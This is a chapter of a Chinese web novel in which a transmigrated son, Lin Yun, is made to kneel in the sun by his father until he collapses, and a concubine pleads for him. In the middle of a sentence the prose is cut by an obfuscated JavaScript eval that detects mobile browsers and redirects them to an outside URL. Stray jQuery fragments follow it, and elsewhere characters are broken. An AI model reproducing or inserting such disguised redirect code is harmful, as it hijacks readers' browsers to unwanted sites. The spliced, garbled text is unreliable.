45.醒心 八

作品:《千千杯酒不醉人

    八


    第二天,林雲还如那几天一样早早起来,担水、浇菜、收拾菜园子。


    艳阳高升时,他站在苗圃间的围砖上给葡萄藤缠枝,这是第一次种葡萄,他开始种的密了一些,后来发觉那些葡萄藤胡乱纠缠在一起,而且开花的甚少。他终于腾出手来,拔掉了一些长势不好的苗,将其它的苗藤继续理顺缠绕上藤架。那些藤架是他从山上竹林里砍下来的毛竹做的,一根根细心挑选后,粗细均匀,那些葡萄藤葳蕤而上,黄绿的竹竿、嫩绿的叶片、深绿的藤,折射出夏日一片袅袅的绿意清凉。


    他聚精会神地做着自己的事,竟不知偏园的角门已开,阿夏一袭白衣已近到他眼前。


    “四少爷,”阿夏看他还未注意到自己,开口唤他。


    他听见爽朗的男声叫他,透过层层的绿,从高高低低的绿苗间隙里看到阿夏正站在园圃中间的空地上等他。他心里已经有了不好的预感,实话说,他昨晚睡前都在忐忑,白天的事,父亲知道了会不会又杀气腾腾地出现。他现在也怕了,好不容易才过几天安生日子,大概父亲心里的他已经没有一点好形象了,冲突再升级,怕是要流落街头了。外面那些贫民他是看到的,要是还在社会主义的庇护下,日子再怎么难,也有政府做主,可表面繁华富庶的东京府,大街小巷里的流民乞丐不胜数,甚至不隔几天就会见到有人被凌虐致死的惨案发生。他要是被赶出去,还不如上山去被野狼老虎吃掉死得痛快些。想着想着,不免悲从中来,鼻子又酸酸的了,直至一更天才慢慢睡着。


    现在见阿夏突然造访,心里又开始担心起来。他踩着围砖石块绕出苗圃,他还光着脚。一般进到地里,怕泥脏了鞋子,就脱在园中空地处,光着脚丫子去做农活。他的一双脚裹了泥巴,头发毛炸炸的,一头的汗,天热也只着了粗布中衣,裤腿子挽在了膝盖上方,活脱脱一个农民模样,也不怪玉姨娘她们开始的时候责怪他行礼不恭,任何人见到他这个样子,也不会把他当主子看待。


    他从木桶里舀了一瓢水,冲洗了下自己的脚丫,心里发虚也不敢问阿夏所来何事,等着阿夏开口来告诉他,他心里大半已经猜到,必定是因为昨天夹道发生的事。因为他的父亲这么长时间以来没有派人来询问过他,而阿夏正是父亲跟前的人,昨天刚发生的事,今天就来问罪,到底是父亲心尖上的人,才会如此在意吧。


    “四少爷,侯爷要你即刻去静玉堂。”阿夏口吻未变,可倒是应了他的预判。


    “容我换身干净衣裳吧,很快的。”他也没等阿夏回答,快步提着鞋光脚跑进院里,匆匆洗了一把脸,换了身干净的衣服和鞋袜,束好头发,连一炷香都不到就又出了门。


    阿夏站在原地,只不过面向院门,很从容地等着他。


    阿夏身材挺拔,阔步走在前面,倒显得跟在后面的林雲像个少爷的小跟班了。


    进入静玉堂院门,绕过一面盘着虬龙祥云的大影壁,阿夏要他等在院中,而阿夏先进去通报。


    穿越而回的载轩魂魄是第一次跨入林府正经院落里。这处院子要比他的偏院大两倍不止,正面五间大开间套房,倒座也有个十四五间,东西两侧厢房连廊少说有二三十米,黄瓦朱漆,雕梁画栋,来往洒扫的小厮女使有十几人,个个轻言慢行,谨慎小心地干着手里的活。他在院内开阔的场地上所见远比路过时瞥见的更为华丽富贵,不由得有些自卑。


    阿夏没有出来,只听见从正房东面传出林将军声如洪钟的命令:“跪下!”


    他知道是说自己,没多想就跪下去了。院中央没有遮挡,太阳很毒辣地烘烤着他。


    他也知道,这个年代的家主可谓是封建家长制集权的代表,有杀生予夺不可一世的威严,想保住自己现在的平静生活,即使是对父亲再多不满,也得隐忍接受,除非自己翅膀够硬,能独立门户。不然,拿鸡蛋碰石头,可有好受的,肖峰差点被打死他没忘,他差点被大火吞没也没忘。


    他先是挺直了脊背跪着,但一会儿功夫,膝盖跪在硬石板上的疼就让他难以继续刚才的姿势了。后世里他也跪过好几回,给王主任下过跪,求过黑诊所的大夫,跪过自己的生父程建,跪的时间最长的就属去找王石叔借钱那回了。可也不像这个朝代如此这样折磨人,动不动就跪,下人跪,他也得跪,下跪就一定代表服从吗?大概是这样的。膝盖一软,跪倒下去,全然把自己的尊严踩在脚下,这样才能凸显地位高贵者的权威和对弱小势力的欺压来。万恶的封建社会!他不知道自己跪了多长时间,但总觉得时间一分一秒漫长的像过了个世纪。头顶的日头已经晒得他脖子上额头上又汗浸浸的,他的眼前是耀眼的日光,晃得他黄白不分了。


    可父亲还不打算赦免他。


    “忍,忍着。为了我那一园子的蔬菜瓜果,黄瓜已经吃上了,又嫩又脆;葡萄也开了花,有的结出了一嘟溜还很小的果子;豆角栽的晚还没有成熟的;但长出的茄子皮紫硬实,过几天长大了拿来炖着吃,想必美味极了;棉花苗已经长到腰间那么高了,虽然有些黄叶,但应该不影响开花。我还得采了新棉花好做两套冬衣,絮一床新棉被,最好是还有富余的,拿来纺纺线,也不致那架纺织机一直落灰。新做的藤躺椅还没怎么睡过,到了午间歇午觉,就可以躺在院里躲树荫下歇歇了。玫瑰开了花,要采些花瓣尝试着做做玫瑰露,脸上没有抹过润肤油,这一年多皮肤都干糙的不成样子······”他闭上眼努力畅想着偏园里的小天地,好转移下膝盖处的酸疼。


    他已经直不起腰了,两手垫在膝盖打弯处,想减轻一点痛楚。


    院里的下人们很少有来回走动的了,阿夏他也再没见到,此刻的阳光刺得他眼睛都发痛,更何况汗水流到眼睛里,浸得他流出了眼泪。他侧过头,用肩膀的衣服蹭了蹭头上的汗,嘴里已经干得冒烟了。


    昨夜林将军在前院书房歇了一夜,谁那儿都没有去。他还是对林雲有气,这一年多一下也没有问过他,就是在等他吃尽苦头来主动告饶,没想到这个小子一身反骨,如此重罚还撑得下去。听到新玉的侍女告状才知道,他还是那么桀骜不驯,一点改过的意思都没有,更是气不打一处来。之前偏院起火本是那小子受了委屈,自己没有替他做主,就是想等他求了自己,好给他个台阶下。现在看来,不光不用管他,还得罚他不可,对自己的妾室不尊重,不就是还对他这个父亲不敬吗?


    于是第二□□会后,林将军回了静玉堂,看看柳氏如何处置昨日之事。谁知柳氏只不过按家法责打了恬儿,别的再不过问。


    林将军偶回静玉堂,柳氏也没料到,但自己心如槁木,也不想再对侯爷抱什么期待。所以只穿了家常衣服,侯着林将军换下朝服更了常服,就坐在厅堂圈椅上,不在跟前了。


    林将军踱步到厅堂,也坐在正面首位上问道:“林雲冲撞新玉一事,你都处置完了?”


    “回侯爷,妾身按家法杖责恬儿二十,命郎中瞧了伤,送回汀芷苑了。”大娘子不紧不慢地答道。


    “完了?”


    “妾身详细问过了,汀芷苑的人没见过林雲,误以为他是个小厮,而林雲行礼并无不可,王氏也未气恼。正想向侯爷您和老太太讨个示下,看还需如何处置。”大娘子未动身,正襟危坐着,脸色淡然。


    “哼,那小子以往便是目中无人,想来他对新玉并无客气,那个侍女总不会平白来告状!”林将军不耐烦地起身,又踱步去了旁边的书房。随后便命阿夏叫来林雲。


    林将军面不露,语不详,只命“跪下”,随后透过纱窗看到院中场地上那个小子跪了下去,便冷笑一声再不搭理了。


    外面骄阳似火,林雲已经跪了两个多时辰了,身子早就趴伏在地上支持不住,他一睁眼光炫迷离,嘴唇暴起了皮,只穿了单裤的腿麻木疼胀,真的快支撑不下去了。他甚至有些盼着自己昏死过去,那这样的折磨就再也感觉不到了。


    大娘子冷眼看到林雲被罚跪如此之久,却毫无慈悲心肠,替他去求求情,哪怕是让侍女给他送碗水解渴也好。的确,吴小娘生前就多次顶撞她,她的儿子不恭不顺,自己哪有什么必要去解围呢。但她忘了林氏子女皆称她为“母亲”,就算做样子也得做到当家主母之责。


    也正是林将军见大娘子如此冷酷,更生了厌恶之情。


    老太太在养居阁早听到林雲被罚跪一事,但她不好出面回转的。这么多天以来,她原想自己的儿子终会念在雲儿少年丧母又遇火含冤的份上,更何况他以前那么爱芝彤,怎会舍得雲儿受苦下去,该会摒弃之前的成见,把那个可怜的孩子接回到内院去住。但没料到,儿子心硬如铁,和他那个老子一样,当初因为一个小妾被她治死就抛了她们母子去苦守边疆,最后病重都不愿再回来,男人都是一样的狠心肠!只有自己派了阿夏时不时地去悄悄查看下雲儿的景况,再加上也嘱咐老胡头多加照看,才得以安心一些。倒是难为了那个孩子,一个人竟苦熬那么久,却也又修屋又种菜的,把自己料理得还不错。耳闻雲儿被罚跪到午错后还不见儿子发话宽宥,真真是心如铁锅上的蚂蚁。


    屈嬷嬷端了茶过来,见老太太面有忧色,也没敢说什么。


    老太太问:“侯爷还未叫他起来吗?”


    屈嬷嬷摇了摇头,说:“您把心放宽些,总归雲少爷还是林家子嗣,侯爷不会怎样的。”


    “他久未得到精心照料,不知道还撑不撑得住。”老太太呡了口茶说道。


    不多时,从门外递进消息来说,玉姨娘去了静玉堂给四少爷求情了,现在侯爷已经允许四少爷回去了。


    “到底新玉心善,有她说句话,侯爷也不好再追究下去了。玉卿竟连这点情分也不愿给,变了,变了啊!”老太太听到侍女元儿传进消息来,悬着的心也放下了。


    “是人就会变的。我倒看四少爷的性情温顺了不少,苦了他了,从锦衣玉食的少爷一下子落魄如此,竟还撑得住,有些骨性和韧劲。”屈嬷嬷安慰道。


    “像他娘了,但若是他再聪明些,知好歹些,就明白侯爷要他怎么做了。”老太太无奈地说。


    “那就得靠四少爷自己去悟了。”


    静玉堂这边,林雲实在撑不住了,侧倒在了地上,浑身软的像滩泥,眼睛睁开条缝,却见蓝湛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12745963|129422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    湛的天空上太阳的重影一会儿两个一会儿三个,那太阳巨大的光晕射得他什么也看不清了。


    玉姨娘挺着一颗大西瓜般的肚子由五六个侍女扶着走进了静玉堂,两边的侍女为其撑着一把大油纸伞遮阳。她看到林雲一个人已经侧倒在了地上,赤红的脸,后背的衣裳已经被汗湿透了,几缕散落的头发黏在额头面颊上,闭着眼睛微弱地喘着气。她忙命侍女把伞撑在他的头顶,还让人取来凉水喂他喝,自己则直奔书房而来。


    林将军假装还在研究兵书,看到玉姨娘进来,放下书,起身迎接。


    “妾身给侯爷请安,”玉姨娘很恭谨地微蹲身行礼道,林将军一把扶起她来,不等林将军开口,她又急忙说,“我知道昨天恬儿多嘴惹了您生气,她已受过罚,还望您原谅妾身教管不严之罪。但前日的事纯属误会,倘若四少爷因我受罚,妾身更罪加一等了。”


    “我明白你懂事。大娘子虽然已处置过,但我若不罚他,怎么给你个交待呢?”林将军面色没有那么严肃了,用手指了指屋外,接着爱抚着玉姨娘的肩膀,关怀地说着。


    “侯爷若要因我一人而责罚四少爷,岂不是摆明了我太骄横霸道吗?更何况四少爷已经昏过去了,不要再罚了。算是为这两个积福吧!”玉姨娘楚楚可怜地看着林将军,一副请求的样子,把林将军的一只手搁在了大肚上。


    “你不知道,那小子以前就屡屡出言不逊、倔强倨傲得很,几天不打就欠收拾。今天暂且看在你的面子上饶了他!”林将军抚着玉姨娘的肚皮,又命阿夏告诉林雲,让他即刻滚回去。


    “人谁无过?知错而改,就是好的。”玉姨娘娇声回道,“侯爷容我先去给大娘子请安。汀芷苑备了消暑的红豆汤,您愿陪我回去吗?”


    “你大热天的跑来,本就不易,还如此知书达礼,我自当护你回去。”林将军更觉玉姨娘娇俏可人,不自觉地喜上眉梢。


    玉姨娘出了门正看见,阿夏手持铜盆,把一盆水都泼在了林雲头上身上,林雲被凉水激醒,艰难地撑起上半身来。“侯爷命您即刻回去。”阿夏言语中丝毫不露感情。


    玉姨娘随即开口说道:“阿夏,还不扶起他来!”


    阿夏瞥了一眼地上的人儿,淡漠地回道:“四少爷曾说过,我不配扶他,还是找个配得上的人才是。”


    林雲听到这话,也就明白了,难怪府中下人对他的遭遇无动于衷,大概以前说话不当惹恼了不少人吧。但知道玉姨娘肯亲自为他求情,多少有些感激,喉咙发干地向玉姨娘说道:“前日是我之过,姨娘不与我计较,我很感激,谢谢您!”


    玉姨娘还要答话,一旁的敏儿推了推她的胳臂,示意她快去给大娘子请安,不要再迟疑了。其实敏儿经此一事,也看出个七八分了,侯爷不喜欢四少爷,府中上下都对其默然无视。侯爷借着这事处罚了四少爷,表面看是维护了玉姨娘,其实是害了玉姨娘,自此府中人也自然认为玉姨娘骄横霸道,仗着宠爱去欺负一个没怎么见过的少爷,即使是再不受侯爷喜爱的孩子,那也是正经主子。这话说出去会好听吗?而恬儿冲动莽撞,极易表露内心情绪,又爱为主子出头,倘若这事回来她们向她提起,她绝不会让恬儿在家宴上告状。而眼前这个四少爷,想必也是个多事的人,还是离得远一些为好。故扶着玉姨娘快步离开了。


    林雲缓了一缓,强扎挣着站了起来。可膝盖处的疼令他的腿直打软,没走两步就摔在地上,再慢慢地挪动着起来,咬紧了牙,一点点地走近了倒座廊下的扶手,沿着这一边走出去。可刚走出去,他又撑不住跪倒在地,他便爬到门外墙角下,蜷着腿把手掌搓热了揉膝盖。眼泪也不争气地流了出来,今天要不是父亲心尖上的宠爱求情,可能父亲还不会饶他吧!他一肚子的委屈在怀里翻涌,却无处安放,他也终于明白了,为什么以前的林雲总会顶撞他的父亲、用语言攻击别人,因为没有人理解他,没有人愿意了解他的委屈和难过,他憋满了一腔的控诉难以启齿,只好用激烈的方式来吸引别人的注意、倾泻自己的不满。


    其实今天他跪在那里就在想,就这样生不如死的折磨不把人逼疯才怪。一定要你绝对服从,一定要你不能反抗,一定要你没有个人意志,这样父亲才是父亲,儿子才是儿子,什么狗屁的父严子孝!林雲很倔,他也倔,他不想那么卑微地爬到父亲脚下,痛哭流涕地乞求人家开恩,就算是逞强,也得逞到底,反正已经死过一回了,再死了,他也不想投胎转世了,人生这么苦,苦两次也就罢了,不要再来一次了。他还想到了地狱,想到天堂,想起以前书上教的无神论,后来他也不再想了,身体上的痛苦已经大于心灵的煎熬了,他只求快快昏过去,或者干脆死掉,了了这些冤债吧。


    从静玉堂回自己偏院的路上,他步履蹒跚,只能靠扶着墙才不致摔倒,路程竟比原来多了许多。也遇了不少仆从,可没有一个停下来帮助他,失望如同一把尖刀刺进心里,让他在这暑天里遍生寒意。


    很多仆从看到他那个样子也觉得甚是可怜,但早就有人传出话来,四少爷为侯爷厌弃,谁帮他那就是给自己找麻烦。故而都置若罔闻了。